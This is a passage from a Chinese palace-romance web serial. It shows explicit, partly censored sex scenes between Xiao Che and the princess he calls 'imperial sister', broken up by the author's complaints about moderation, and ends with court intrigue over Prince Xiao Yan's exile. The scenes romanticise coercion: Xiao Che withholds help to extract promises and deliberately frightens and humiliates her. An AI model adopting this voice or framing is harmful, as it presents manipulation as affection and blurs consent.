萧彻轻捏了下她的肉垫,唇角微勾,略一用力,便将她从地上拉了起来。 他的“略一使力”于颜嘉柔而言,便是一股难以抗拒的力道,非但助她起身,而且助过了头,她整个身子控制不住地往前倾,她便顺势地撞入他的怀里,这一下犹如小耗子掉进了米缸,她立刻开心地环上了他劲瘦的腰身,脸颊蹭了蹭他的胸膛,开始黏黏糊糊地撒娇:“哥哥,哥哥……” 萧彻挑眉,按过她的肩头想要往外推,颜嘉柔察觉到他的意图,缠得越发紧了,哼哼唧唧地道:“别……别推开我,哥哥……” 萧彻:“……”这就黏上了? 他摸了摸她的脑袋,问她:“还能走么?” 颜嘉柔唯恐萧彻丢下她,自然立刻道:“不能!” 她说完有些心虚,支支吾吾地道:“要哥哥……哥哥扶着我才行……” 萧彻“哦?”了一声,轻扯了唇角:“那皇妹还不松开?” 颜嘉柔闻言身子一顿,以为萧彻的意思是让她放他走 ,嘴巴一瘪,嗓音立刻染上了哭腔:“我不要,呜呜……哥哥,我不要……” “哭什么?” 萧彻隔着纱料轻轻摩挲着着她的肩头:“不是要我扶着你,嗯?你这般死死地抱着我,我怎么扶着你走?” “皇妹,”他道:“松开,我不走。” 颜嘉柔这才慢慢地放开了他,她退开些许,悄悄地抬头看他,一张粉白的小脸斑驳地挂着泪痕,方才实在哭狠了,此刻仍有些抽噎:“哥哥……” 萧彻已经三天没有理她了,这几日说是度日如年也一点都不为过,她觉得她都要为他害相思病了,以至于原本只是打算偷偷看他一眼,可视线一旦落在他脸上,就再也挪不开眼了…… 萧彻挑眉,看着呆呆盯着他看的小公主,勾唇轻笑了下。 他抬手替她擦拭了泪痕,轻轻叹了口气:“我的皇妹,怎么又成了小花猫?” 这是这几日来萧彻对她用的最温和的语气了,实在是比方才在仁安殿那番跟她划清界限,让她嫁给萧珏的话顺耳许多,连日来的委屈霎时都漫了上来,颜嘉柔鼻子一酸,险些又要落下泪来。 萧彻摩挲着她柔嫩的脸颊,问她:“伤哪儿了?” 颜嘉柔一怔,吸了吸鼻子,将那股酸意憋了回去,胡乱扯了个谎道:“唔……脚……左脚扭到了……” 萧彻微微皱眉:“那你扶着我,我送你回承欢殿。” “嗯嗯!” 颜嘉柔开心地搭上萧彻的手,说是扶着他往前走,其实半边身子都没骨头似得往他身上靠。 想起自己撒谎说扭伤了脚,又故意装作一瘸一拐的样子往前走,心思却全在萧彻身上。 这般走了两步,萧彻也转头回望了过来,上下打量了她一眼,略一挑眉,微微笑道:“皇妹,你方才说,是左脚受了伤?” 颜嘉柔光顾着看他,晕晕乎乎地一点头:“嗯……” “那便奇了,”萧彻道:“皇妹既然伤的是左脚,为何走路时跛的却是右脚?” 颜嘉柔一愣,等反应过来后一张雪白的面皮涨得通红,一时又是难堪又是窘迫,更兼具害怕萧彻再次生气,丢下不理她,种种情绪交织在一起,一时又是煎熬,又是无措,终于承受不住,一头扎进萧彻的怀里,死死环着他的腰身,哇呜一声哭了出来。 萧彻轻按着她的后颈,叹了一声:“皇妹,我眼下也不曾说你什么,你怎么,又哭了?” “对不起……哥哥……我骗了你……我……我没有扭到左脚,我随口乱讲的……我只是想让你多陪我一会儿……” 萧彻弯唇:“嗯,看出来了。” 颜嘉柔从萧彻的怀里抬起了头,粉腮上泪痕斑驳,眸底氤氲着水汽,浓睫轻颤,泪珠簌然落下:“是我太笨了,连撒谎也不会……但是我……我虽然没有扭到脚,却也受伤了,我的脚踝处好像刮蹭到了,有些疼,虽然不至于走不了路,却也不是全然骗你,你别生气……” 萧彻闻言却皱起了眉,扶着嘉柔在一旁的坐栏上坐下。 他在她面前蹲了下来,握过她的一条腿,动手去褪她的罗袜:“我看看。” 罗袜下褪,露出雪白的脚踝,上面果然浮着几道血痕,想是方才摔倒时被廊上的碎石划伤所致,虽说伤口不深,可在牛乳一般的肌肤上,依旧格外刺眼。 只一眼,萧彻便觉心口一阵烦躁。 心底戾气丝丝缕缕地上浮,他深深地一闭眼,此刻脑海中只有一个念头。 他害小兔受伤了。 这世上,没有人能让她受伤,自然也包括他。 颜嘉柔见他脸色骤然间十分不好,以为她还在为她骗他的生气,便忐忑不安地开口道歉:“哥哥,对不起……” 萧彻抬眸看向她,眼中戾气未散,语气也决不算好,只道:“你要说‘对不起’的,又何止这一桩。” 颜嘉柔一怔,瘪了瘪嘴,眼看又要落下泪来,身子却忽然腾空,她一时连哭也忘记了,下意识地便揽上他的脖颈,眨了眨眼道:“……哥哥?” 萧彻抱着她往前走,闻言转头看了她一眼,勾唇轻笑了下:“抱你回去,就当——给小兔受伤的补偿。” “好了,我们的账,待会儿再细细地算,先去承欢殿,我给你上药。” 颜嘉柔眨了眨眼,破涕为笑,开心地晃着脚,眼珠子转了转,忽然想起一事,连忙道:“那我还要检查有没有别的地方受伤!” “嗯,怎么?” 小姑娘眼睛亮晶晶的,一脸认真地道:“我要换多一点补偿!” 萧彻弯唇轻笑:“傻子。” 小姑娘脸颊鼓起,一本正经地道:“哥哥,我不是傻子,我是认真的。” 萧彻睨了她一眼,懒洋洋地道:“别看了,你想要什么补偿,我直接给你。” “真……真的么?”小姑娘脸蛋红扑扑的,嗫嚅着道:“那我就……自己取了……” 话音刚落,她就扳过萧彻的那张俊脸,以迅雷不及掩耳之势,吧唧一口亲了上去。 恰是时廊下吹过一阵穿堂风,檐角垂系着的铜铃在风中轻轻摇晃,叮当作响。 萧彻突然停下了脚步。 他转头审视这个厚颜无度的少女,眉梢轻抬:“如今我们只是宫中一对寻常的兄妹,皇妹,还请你自重。” “什么……”颜嘉柔张牙舞爪地抗议:“我不要自重!” 她歪着脑袋,眨了眨眼睛:“哥哥,你是在玩什么角色扮演的游戏吗?” “你要跟我扮演一对寻常的兄妹,是不是?寻常的兄妹不能这样亲,妹妹不能垂涎哥哥,我犯规了,所以哥哥说我……”她咬着手指,一脸不解地道:“可是这个游戏一点儿都不好玩,我不要玩了。” 萧彻唇角微微抽动:“……谁跟你玩儿游戏。” “不是玩儿游戏么……”颜嘉柔手指也不咬了,呆呆地看着他,眸底又渐渐漫上水汽:“那我更不要了……” 她生气地控诉道:“我不认!你……你之前那样对我的时候,可没说我们只是寻常的兄妹!” 萧彻“哦?”了一声,玩味道:“我从前哪样对你?” “你……你欺负我……”颜嘉柔红着脸道:“你涅我的汝禸……顶装我的时候,可不是这样说的……” “那个啊……皇妹,若真要算起来,那难道不是为了帮你治病么?” 颜嘉柔不可置信地望着他:“你……你怎么能这样,你这是始乱终弃,你不能这样,你对我做了那种事,便一定要和我成亲的……” 萧彻等的便是这句,当下唇边便漫上一道冷笑,只道:“难道我没有说要和你成亲么?是谁口口声声说,为了太子,不能与我成婚,说到始乱终弃,皇妹,谁又比得上你?” “我……”颜嘉柔张了张嘴,刚想说什么,身上却忽然又泛起一阵奇异而熟悉的躁动。 第99章 第99章“这种时候,萧珏那个废…… 颜嘉柔咬紧唇瓣,忍耐着身体的异动,经历了这么多回,她自然明白眼下是怎么回事。 ——她的怪症又发作了。 算下来,她也已经有一段时间没从萧彻那里获取到解药了,自从离开淮州后,除了在颠簸的马车上草草弄过几回,她害怕被人发现,总是放不开,加上后面舟车劳顿,她整个人都蔫巴了,可怜兮兮地伏靠在他怀里,有气无力地叫着“哥哥”,萧彻心疼不已,便也不再折腾她了。 回宫后更是立刻开始吵架,萧彻动不动就说什么断了,连见她一面都不肯,如今这一面都是她费尽心思换来的,又哪里有别的机会与他亲近? 长时间没有得到抚慰,加上如今终于见到萧彻,被他这般亲密地抱在怀里,两人挨得极近,隔着轻薄的衣料,萧彻的掌心锢着她的腰肢,温度绵绵不断地渡至她的体内,身上的气息亦丝丝缕缕地钻入她的灵台。 热意上浮,灵台不清,萧彻垂眸间若有似无的轻笑,勾魂摄人。 这般撩拨,她小小年纪,哪里经得住,怪症发作似乎也在情理之中。 只是眼下发作,似乎并不是一个良机。 他们尚未和好,也不知萧彻肯不肯帮她…… 而且她也不愿在这种时候向他求欢,如今还闹着别扭,这样算什么呢……他肯定又要借机讥讽她了,呜呜,她才不要呢。 只是她一向娇生惯养,从来吃不得苦,意志自然也算不得坚强。 不过咬着唇瓣忍耐了一会儿,便受不了了。 双手捧着萧彻的脸胡乱地亲着他,娇躯在他怀里不安分地扭动着,尾音发着颤,娇娇地道:“哥哥,我好想你……” “皇妹说笑了,”萧彻只当她一提到萧珏,便想撒娇蒙混过去,当下嗤了一声,凉凉地道:“我人就在你眼前,你又想我什么?” “我……我就是想你……你人在我面前,可你却不看我……”颜嘉柔都快哭出来了:“哥哥,你看看我……你看看我,就知道了……” 萧彻微微蹙眉,被她这般磨着,到底还是低头看了她一眼。 只是目光掠过她的面容时,却忽然顿住了。 只见少女面色潮//。红,眼含春色,红唇微微开合,探出一截嫣红的舌尖,仿佛是在无声的邀请。 纱裙轻薄,身前饱月长的浑源呼之欲出,此刻她神志不清之下,正用它莫岑着他的胸膛,暗示意味不言而喻。 萧彻挑眉,意味不明地“哦?”了一声:“又发作了?” “呜,哥哥,难受……” 萧彻指腹摩挲着她红润的唇瓣,哑声道:“在淮州喂了这么多,便这般不经用么。” “没有……”颜嘉柔水眸湿闰地望着他,小声辩解道:“已经有……七天不曾做了……” 萧彻挑眉,唇边浮上点意味深长的笑意:“皇妹,便记得那么清楚么?” “我都不曾记得日子,你倒算得清楚,怎么,扳着手指头数的?” 颜嘉柔身上原本就难受,被萧彻这般盘问,更觉羞耻万分,哭着摇头道:“呜呜,不是……” “那是怎么数的,说来听听?” “没……没有数……” “哦?没有数,便记得这般清楚……我知道了,皇妹便是日日想着同我做那事,所以才不必刻意数,也能记得清楚,是不是?” “呜呜,不是……哥哥……我没有……” “这也不是,那也不是,”萧彻玩味道:“皇妹,那你说,究竟是什么?” “你方才说想我,你究竟单只是想我,还是……想我上你?” 唇角萧彻勾起,附在她的耳边,喑哑的嗓音含着蛊惑,低低诱哄她道:“皇妹,你不说清楚,三哥怎么帮你呢?” “皇妹要诚实,才会有奖励啊。” 颜嘉柔一双黑白分明的眼眸含着水汽,浓睫轻颤,茫然地看着他:“哥哥……” 萧彻浅茶色的瞳仁里浮上薄雾似得笑意:“我在啊,皇妹。” “我……”嘉柔呆呆地看着他,眼尾泅开一道淡淡的胭脂色。 雪白的贝齿轻咬着唇瓣,她急促地喘//。息着,高耸的雪峰随之乱颤,到底还是被他诱惑着说出了他想要的:“我……我都想……” “都想什么?皇妹,说清楚。” “呜……”颜嘉柔发出猫儿叫似得一声,仿佛难以启齿,然而到底还是说了出来:“想哥哥……还有,想哥哥,上我……” 萧彻从喉结逸出一声轻笑:“好乖啊,皇妹。” 颜嘉柔得了夸奖,尽管身子十分难受,唇边还是挤出一点笑意。 柔软的指尖划过他滑动的喉结,凸起的弧度勾得她指尖发颤。 她忽然凑上去咬住萧彻的喉结,含糊不清地道:“哥哥,奖励……” 萧彻闷哼一声。 “皇妹想要什么样的奖励?” 萧彻勾唇,似笑非笑道:“倘若是帮你治病,三哥恐怕,会有些为难。” 颜嘉柔连忙抬起头看他,眼里包了一包泪,委屈地问:“为什么……” “不是说了做回寻常兄妹?寻常兄妹哪有做到床上去的,皇妹?” 颜嘉柔连忙道:“那我不要和你做寻常的兄妹,” 她捧过他的脸,忍着身上一波波的躁动,虔诚地在他唇边烙下一吻:“哥哥,我要做你的妻子……” 萧彻掀起眼皮看了她一眼,唇边着丝若有似无的笑意:“想做妻子,怎么还叫哥哥?” “想做妻子,不能叫哥哥么……” 颜嘉柔懵懂地看着他:“妹妹,不能是妻子么?” 萧彻眸色暗了一瞬,喑哑道:“妹妹,可以是妻子。” 他凑至她的耳边,唇舌舔吻着她玉白的耳垂,含糊地笑了声:“我是说,妹妹,天生就是妻子。天生,就是被我上的。” “可再怎么天生一对,也总该成了亲,才能叫做妻子。” “宝宝,我也很想帮你,可是不成亲,我怎么帮你?” 颜嘉柔一怔,连忙道:“哥哥,我会和你成亲,我一定会和你成亲……” “什么时候?”萧彻轻咬她的耳廓:“明日好不好?” 颜嘉柔轻轻蹙起眉尖:“我……” 便是这片刻犹豫的功夫,让萧彻的面色倏地冷了下来。 “怎么,只想睡我,不想和我成亲?” 他冷嗤一声:“看样子,这个亲,你是要留着和你的太子哥哥成了。那怎么洞房花烛,却要来找我?哦,我忘了,他如今是个阉人,办不到了,所以你要来找我,是不是?” “行啊,改日你们拜了天地,我一定亲自过来,让他亲眼看看,我是怎么与你洞房花烛,行鱼水之欢的,只是今日,便恕不奉陪了。” 说着便作势想要放下她,颜嘉柔哪里肯依,牢牢地搂着他的脖颈,哭着道:“不要,哥哥,我不要……我真的难受……你不管我了么,呜呜……你说过的,你是我的药,你永远是我的药,哥哥,你说过的……” 萧彻深深地一闭眼,颇为烦躁地吐出一口气,到底没将她扔下去。 他皱眉看着她:“那怎么,以后便都这样么?颜嘉柔,你当我是什么,你又凭的什么,以为我会一直这般见不得光地和你偷情?” “你总有千百种理由,你有你的顾虑,有为萧珏的考量,可我呢,你心里何曾有想过我?你知不知道,我也会伤心,也会难过,颜颜,我不会一直在原地等你。” “你看看你现在这副样子,你不与我成亲,不时时刻刻待在我身边,你做得到么?你发作难受的时候,萧珏那个废物能帮你么?” “说啊,他能帮你吗。” “三天了,想好了吗?我和他,你要谁。” “要你,哥哥,我只要你……”颜嘉柔长时间得不得抚慰,已经快要被磨人的渴念逼疯,只能勉强维持一丝清明,没有不管不顾地就此答应了萧彻:“对不起哥哥……是我不好,我总是仗着你喜欢我,便有恃无恐,没有在意你的感受……” “我一定会和你成亲,只是不是现在……你别生气好么,你先听我说……我……我不会一直耗在萧珏身边的,如果一段时间后,他的病依旧没有起色,那么……我也没有办法了……等到那时,我就和你成亲……” “哥哥,你再信我一次好不好,这次一定是真的,最后等我一次,好不好?” 萧彻喉结滚动,深深地看了她一眼,终究还是问道:“多久?” “我……”颜嘉柔唇瓣翕动,刚要开口,身子忽然止不住地颤抖,她本能地磨蹭着萧彻的身体,嗓音都变了调:“哥哥,难受……” 萧彻抚摸着她发烫的面颊,皱眉道:“罢了,我也懒得用床笫之事逼你答应嫁给我——我还不屑用这样的手段。” 一面说着,一面加快了步伐:“忍忍,我先帮你治病,等你人清醒了,我们再好好清算清算。” 然而颜嘉柔耽搁了太久,已经完全等不了了。 如今她的形容,与中了烈性媚药一般无二。 何况有如此勾人的解药在眼前,于她而言,更是一种变相的折磨。 走过长廊,从穿云纹拱门出来,还要走好一段路才能到承欢殿,可眼下这个情形,颜嘉柔显然已经不能再等了 。 更何况她这副样子若是被人看见,实在不妥。 萧彻略一思索,改道沿东廊房向北折,一路往前,等走过三道饰有缠枝莲纹的朱漆屏们后,入目便是一大片由太湖石堆砌的假山…… 第100章 第100章“别,别在这。” 这一片错落的假山林,地处偏僻,周遭悄无人声,只有远处传来断续的鸟鸣,一声叠着一声,像是要啄破这团浓稠的寂静。 假山背阴处,铜钱大的蛛网悬着半颗露珠,颤巍巍的要坠不坠。 石隙里斜斜漏下一线天光,昏暗暧日未的光线下,感官被无线放大。假山内,两人正交颈接吻,压抑的低舛中混着暧日未的水声。 热意丝丝缕缕地上浮,体温渐渐攀升,愉悦的酥吗沿着神经传遍四肢百骸。 颜嘉柔踮起脚尖,被萧彻松松地揽着腰,一遍遍地去舔//。舐描摹他的唇舌,间或漏出一两声难奈的申银:“唔,哥哥……” 萧彻低头,懒洋洋地一掀眼皮:“也只有这种时候,你才会这般乖顺。” 颜嘉柔红唇微张,茫然地颤动着湿漉漉的眼睫,完全听不进他在说什么,只想去亲他。 一根玉白修长的手指却抵上了她的右肩,萧彻略一抬眼,轻笑道:“急什么。” 他将她推开些许,微微偏过头,好整以暇地欣赏她此刻意乱情迷的模样:“皇妹,看清楚了,我是谁。” “我可不是你那只会寻死觅活的的太子哥哥。” “我有的是手段。” “你招惹了我,这辈子,便只能和我生死一处。” “我最后问你一遍,你到底要我,还是要他?” 颜嘉柔已经快被体内的躁动给逼疯了,连忙哭着道:“要你,要你……萧彻,我从头到尾,都只要你……” 萧彻弯起唇角,终于大发慈悲地吻了上去:“这才乖啊,宝宝。” “倘若你是我的,我自然,也是你的。” “你想要对我做什么都可以。” “那么,如你所愿。” …… 萧彻扣过她的后颈,忽然将她整个撞在了石壁上。 拇指碾过颜嘉柔泛着水光的唇,毫不留情地吻了上去。 舌尖扣开她的贝齿,一路长驱直入,唇齿嗑咬,与之抵死纠缠。 嘉柔被动承受着这个激烈的深吻,萧彻连半分迎合的余地都不曾留给她。 吻带着惩戒的意味,裹挟着某种独占的疯狂,像是要打上独属于她的烙印,霸道地掠夺着她口中稀薄的口气。 吻到动情处,萧彻也终于不再压抑体内的意动。 说来好笑,他故意不给颜嘉柔,说没有泄愤惩戒的意味自然是假,但更多的,是他知道她如今的病情进展到这个地步,发作起来虽然难受,但更像是中了媚药一般渴望胶合,倒不至于有多少痛楚,他拖着不给她也是想磨着她说一些好听的话,更是为了让她更多地记住此刻的感受,长长记性,好让她知道她有多离不开他,以后想去找萧珏时,也能够有所顾虑。 小兔不乖,自然要好好调//。教。 打不得骂不得,便只能用这种方式。 可这个她哭唧唧地喊难受,他也比她好不了多少。 小傻子不知死活地在他s上一通……全删……他…… 也不知道究竟是在折磨谁。 一吻结束,他慢慢地松开了她,一手箍着她的腰,折起她的一全删……,被审核逼疯怒删两百字 等到那阵……身子的难受稍稍缓解,混沌的灵台得以挣出一丝清明,脊背贴在冰凉的石壁上,迫使她更清醒了几分,于是……靠在石壁上都不行啦?都删完了为什么还标黄 她红唇轻启…… “哥哥,别……别在…………” 萧彻皱眉,嗓音沾染着浓重的青玉,显得格外沙哑:“你说什么?” 箭在弦上,这个关头喊停,跟取人性命有什么区别? 额角青筋凸起,喉结上下滑动。 他c息着低笑了声,轻咬上她的耳廓,颇有几分咬牙切齿的意味:“故意报复我呢,小兔?” “不……不是……”少女脸颊晕红,一双盛满水汽的美眸湿漉漉地看着他,双手撑着他的胸膛,轻声道:“哥哥,我害怕……我不想在外面……” 萧彻吮咬着她白嫩的耳垂,鼻端发出一声意味不明的轻哼:“可我偏要在这里。” “不……不成的……”颜嘉柔羞耻得几乎快要哭出来:“哥哥……我们换个地方……好不好……” “换个地方,回承欢殿么?” 萧彻愈发逼近了她,热息……全删了,审核大人……:“你问问,它答不答应?” “呜呜,萧彻……别……我怕……”万一有人经过,她还要不要活了? “怕什么,不会有人过来的。” “这里地处偏僻,我从前心情不好时经常来这,从未见过一个人。” 小姑娘还是有些犹豫:“可……可是万一……” 萧彻眯起眸子:“皇妹,便这么扫兴?” 他低头与她额头相抵,鼻尖蹭了蹭她的:“该玩的都玩的差不多了,我就想在外面,跟皇妹玩点新鲜的。” “你若是不愿,我也不勉强,”他略一挑眉,恶劣地道:“那我走了,你自己……冷静一下再回去。” 说完慢条斯理地整理完衣袍,竟真的转身欲走。 颜嘉柔不可置信地看着他,并未真正得到解药,那股方才稍稍得以缓解的躁动因为萧彻有可能的离开而疯狂反噬:“不,不要……” 萧彻转过身来,饶有兴味地问:“不要什么?” “呜呜,萧闻祈,不要走……” “那,要不要在这里?” 少女眼圈泛红,鼻翼轻轻抽动,委屈地看着他:“要,要还不行么……” “你想对我做什么都可以……”她含嗔带怨地看了他一眼,语气颇为幽怨:“只要别一言不合,叫我滚就是了……” 萧彻喉结滚动,深看了她一眼:“自己过来。” “解开,扶着……”萧彻唇边含着一丝玩味的笑意,目光一寸寸地从她身上扫过:“然后……” 颜嘉柔红着脸,依言走了过去。 一阵窸窣的动静后,紧跟着,便响起令人脸红心跳的声音…… 天真的小兔,在走向萧彻的那一刻时,或许怎么也不会想到,这不过是他欺负她的第一步罢了。 是她毁诺在先,要想让他消气,哪有这么简单? 便是要狠狠地欺负她,极尽恶劣,方才能出了心中这口气。 颜嘉柔正得了趣,渐渐沉迷时,忽闻刺啦一声,s下顿时一凉。 她娇呼一声,连忙低头去看,只见她的那条百褶裙已被萧彻撕开,裙摆处缀着的珍珠已然散落一地。 “哥哥,你做什么……”她眼圈一红,眸中立刻泛上水汽:“这是我最喜欢的一条裙子……” 特地为了见他穿的,却被他亲手撕毁了。 她委屈地落下泪来:“你为什么撕开它,你不喜欢么……” 萧彻“嗯”了一声,凑过去……她的泪水:“不喜欢,褶子太多,不好月兑……下回见我别穿了……”审核裙子的褶子太多也不行啦?都删完了为什么一直标黄这段 “生气了?” “乖,下次赔你一条一模一样的……” 他从颜嘉柔……中撤了出来,低头从裙摆处扯下一枚珍珠,放在手中细细磋磨了,然后将其……全删…… 光滑圆润的珍珠沾上了……全删…… 颜嘉柔缓缓瞪大了美眸,听到萧彻在一旁轻笑: “珍珠好。么,嗯?” “不,我不要……我不要!” 意识到那是什么之后的颜嘉柔哭着摇头道:全删求放过 “哦?不要这个?”萧彻勾唇道:“我知道了,你不要别的,只要我,是不是?” 他闷笑一声:“好,我给你便是。” …… 昨夜刚下了雨,水汽未干,假山石隙间的水滴缓缓凝聚在一处, 最尖处那滴浑圆水珠子颤巍巍悬着,终于不堪重负,滴答一声摔落在石底青苔上。 假山内热意熏蒸,白汽弥漫。 颜嘉柔双手攀着萧彻的肩颈,全删……,萧彻却忽然停了下来。 汗水浸湿了鬓发,颜嘉柔眼神迷蒙,好一会儿才渐渐聚焦:“……哥哥?” 萧彻唇边噙了丝玩味的笑意,极轻地道:“皇妹,好像有人过来了。” 颜嘉柔美眸圆瞪,被吓得几欲魂飞魄散。 萧彻“嘶”了一声,哑声道:“皇妹,放松点……这点小事,也值得你咬得这样紧?” 他故意轻轻皱眉,说道:“听来人说话的声音,好像……是太子啊。” “啊!”颜嘉柔哀哀地叫了一声,被萧彻这么一吓,在他怀里痉挛着口口了。 萧彻闷很一声,一时不防,也被迫缴了出来。 他闭了闭眼,平息了一瞬,再睁开眼时,看着怀里眸光h散的颜嘉柔,到底存了几分邪火,恶劣道:“怎么,一听说太子来了,便丢成这样,原来皇妹,便喜欢这般刺激,是不是?” 可怜的嘉柔,百口莫辩,实是被欺负惨了,只能在萧彻怀里低低呜咽。 萧彻见她这般情态,也知自己是过了头,瞬间便又心软了,低头轻吻了她的额头,柔声哄道:“好了,没事了,骗你的,小傻子,这也信。” “我怎么可能让别人看到你现在这副样子,尤其是萧珏那个废物。” “你眼下的这副样子,只能由得我看。” 颜嘉柔渐渐止住了抽噎,软糯地“嗯”了一声:“只给哥哥看……” 萧彻弯唇,亲昵地吻着她:“乖了,宝宝。” …… 这一番动静直到天黑才堪堪止歇,饶是萧彻有再大的气,这几次下来,也消散得差不多了。 结shu之后,两人又依偎在一起温存了一会儿。 颜嘉柔趁着眼下萧彻心情还算好,便又撒娇着提出想与他和好:“哥哥,就三个月,你再给我三个月的时间,我想过了,倘若三个月之后,萧珏的病依旧没有起色,我想他也应该接受了,不会再寻死觅活,那我也就不会再于心不忍,可以回到你身边了。” “只要你答应了我这次,往后你想要我做什么,我都会乖乖听话的。” 萧彻指腹摩挲着她柔软的脸颊,闻言轻挑了眉:“无论我要你做什么,你都会乖乖听话?” 嘉柔连忙点头,一脸真挚地看着他。 萧彻勾唇:“……也包括我以后要在露天做,要在马上做?” 颜嘉柔一怔,雪白的面皮渐渐红透了,她再料不到萧彻会在这种事情上跟她讲条件。 她低着头,拨弄着手指,片刻后,到底忍着羞耻缓缓点了点头:“……都依你就是,只要哥哥高兴。” “这么乖啊。”萧彻指背划过她的脸颊,随意地一点头,道:“好啊,我答应你就是。” 颜嘉柔眼睛一亮,猛地抬起了头:“真的?” 萧彻笑了下:“是啊,今天把你弄哭了这么多次,不答应说不过去了吧。”他想过了,虽然他很想和颜嘉柔即刻成婚,可是有萧珏这个废物在,总是多有不便。 何况虽说他如今对那个位子已有九成把握,但毕竟一切还未尘埃落定,不若再等几个月,等一切落定之后,再和小兔成婚,岂不更好? 他说着滚动了喉结,深看了她一眼:“不过颜颜,我们说好了,这事可以翻篇,我们依旧会像从前一样,但前提是,你没有骗我。” “我可以信你,但颜颜,这是最后一次了。” “哥哥,这一定是最后一次了,我绝不骗你!”嘉柔眼睛亮晶晶地看着他,脸上兴奋极了,没忍住又凑上去亲他,黏黏糊糊地道:“哥哥,你真好……” 亲着亲着,便又被。了金区。 …… 颜嘉柔费劲千辛万苦,终于在这日之后,重新把萧彻哄好,这件事便就此告一段落,只是让她没想到的是,朝堂上很快又出了事。 确切的说,是萧衍出事了。 100-110 第101章 第101章“我会成为大魏朝未来…… 那日的大朝会上,御史中丞崔延突然发难,当庭怒斥萧衍的两大罪状,一是二皇子萧衍,在奉旨前往淮州赈灾时因私废公,对灾民不闻不问,反而流连烟花之地、夜夜笙歌,有损天家圣誉。 二是在秦楼楚馆狎妓时,为了争夺花魁,二皇子竟当众打死了为赈灾捐银数万的崔员外独子,不光草菅人命,也寒了爱国志士的心呐。 萧衍跪在冰冷的地砖上,朝魏元帝连磕了三个头,口中喊着冤枉,心中却有些打鼓:三弟不是说都已经帮他摆平了吗?怎么崔家人竟还有本事说动御史来父皇面前告御状……三弟办事向来滴水不漏,到底是哪里出了问题?难道是萧珏从中搞的鬼? 崔延是崔钰的门生,前段时间受恩师所托,为他侄儿在圣上面前伸冤。他生性耿直,并不畏惧强权,听了事情的来龙去脉后颇为气愤,御史本就要将所见不平之事上达天听,以正朝纲,此事正是他职责所在,他本就义不容辞,何况薛钰又是他的恩师,恩师有求于他,他怎么能不理? 薛钰也正是深知这一点,才会找他办此事。 崔延所奏禀的关于萧衍的罪状,都是他在大庭广众之下所为,众目睽睽,所有人都是见证,根本做不了假。 何况他既然敢在大朝会上当众发难,自然早就下了一番功夫,萧衍的各种罪证,也已都收集齐全。 铁证如山之下,容不得萧衍分辨。 何况今日萧彻告假,萧彻不在他身边,萧衍没了主心骨,愈发自乱阵脚。 偏偏这事到这里还不算完。 萧珏也过来掺上一脚。 说是他两次坠马并未意外,而是人祸,罪魁祸首正是他一母同胞的好弟弟,二皇子萧衍。 此言一出,满朝哗然。 萧衍也是骤然变了脸色。 一切正如萧彻之前所预料到的一般,萧珏拿出他布局故意引导他发现的证据,桩桩件件,矛头果然直指萧衍。 这下萧衍不光是草菅人命、罔顾灾情、私德败坏,还多了个戕害皇兄的罪名。 这也几项罪名加在一起,是绝不可能轻轻放下了。 满朝议论纷纷,明明知道铁证如山,但众人都深知魏元帝素来对萧衍十分宠爱,尤其如今宫中传出“萧珏坠马伤了根本,无法人道”的流言,若此事为真,那萧珏迟早被废,太子之位空悬,三皇子存在血脉争议,早已出局,二皇子萧衍,岂不是唯一一个有可能继任的皇子? 出于这种考量,魏元帝是否会同意废黜皇子呢? 揣摩圣意,也是做臣子的一门学问。 何况如今世家之首的崔守阶都尚未发话。 似乎所有人都在等魏元帝表态。 而魏元帝接下来的举动,却是出乎所有人的意料。 萧衍作为魏元帝眼下最受宠的皇子,所有人都以为魏元帝多少会有所偏袒,从轻处理,谁知他竟大发雷霆,言语间对他失望至极,大为斥责。 朝臣见状,自然是纷纷奏请魏元帝秉公处理。 大势如此,便是之前站队萧衍的官员,这时也不敢再求情。 于是魏元帝当即下令将萧衍贬为庶人,流放黔州。 这道旨意一下,意味着萧衍此生再无缘皇位。 他面色惨白,仿佛瞬间被抽干了力气,整个人向后跌去。 正所谓盛极必衰,或许所有人都没有想到,皇位之争,第一个彻底出局的,竟是之前风头最盛的二皇子。 —— 流放定于三日之后,在此期间,萧衍被暂时收押在大牢。 地牢石阶沁着经年的阴湿,踩在上面,有一种黏腻的湿滑。 萧彻随着狱卒慢慢地走下台阶,经过一段幽长的甬道后,停在了萧衍的牢房门口。 牢房阴暗潮湿,空气中到处弥漫着腐鼠与铁锈的腥气。 萧彻微微蹙了眉。 锁链打开,狱卒朝 萧彻躬身做了个手势:“三殿下,请。” 萧彻略一颔首,抬步走了进去。 狱卒便退下了。 萧衍颓然地靠坐在石壁上,墙壁常年被湿气侵袭,上面爬满了霉点,像是死人身上疯长的尸斑。 他听到动静后睁开了眼,缓缓地抬起了头。 破败的木桌上放着一盏油灯,火光摇摇欲坠,残存的桐油灯芯这时却突然爆开,火光猛地跳蹿,照亮了来人。 即使在光线昏暗的牢房中,青年的一张脸依然淬玉一般,容貌俊美到了极点,整个人纤尘不染,恍如谪仙,与这腌臜之地格格不入。 萧衍在看清来人的面容后,原本涣散无光的眼睛忽然亮了一瞬。 “三弟!” 他立刻起身迎了上去,语气难掩高兴:“我就知道你一定会来看我,我就知道……” 萧彻眉尾微动,眼神淡淡地掠过他:“二哥,你受苦了。” 萧衍摇头叹了一声:“说起来,我从小到大,还真没吃过这样的苦……这种腌臜之地,岂是人待的?!” 萧彻抬手,替萧衍掸去肩上的几粒灰尘:“二哥稍安,等三日后启程便好了,路上诸般事宜,我都会替二哥打点好,等到了黔州,我也会替二哥安排好一切……” “黔州是苦了些,还请二哥暂且忍耐,等过段时间,我会向父皇求情,让你去一个气候温和一些的地方……” 萧衍闻言顿了一下,半晌后才落寞地叹了一声道:“三弟,此事果真没有转圜的余地了么?连你也帮不了我……” 萧彻:“二哥,圣旨已下,自然再无转机,我也是爱莫能助。” 萧衍“嗯”了一声,低低地道:“我知道的……” “只是事情怎么就到了这一步呢?”萧衍忽然握紧了拳,满眼的不甘:“明明那个位置,离我只有一步之遥,怎么偏偏就……” “一定是萧珏,一定是萧珏那个废物!三弟,我不甘心,我不甘心就这样被他踩在脚底下!” “我也担心你,我方才一直在想,他日若他登基为帝,你该如何自处,他会轻易放过你么……父皇也是昏聩了,他居然废了我,他难道不知道萧珏已成了阉人了吗?!堂堂大魏朝的太子居然是个阉人,简直是滑天下之大稽!他难道想让萧家绝后吗!” 萧彻低头摩挲着手上的玉扳指,忽然低低地笑了一声,在这昏暗幽静的牢房中,有种渺然之感。 “二哥,你放心,萧家不会绝后的。” 他慢慢笑了起来:“你忘了?我身上有一半兰陵血脉,体质异于常人,不像萧珏这种废物,原本就不行,如今更是彻底废了。” 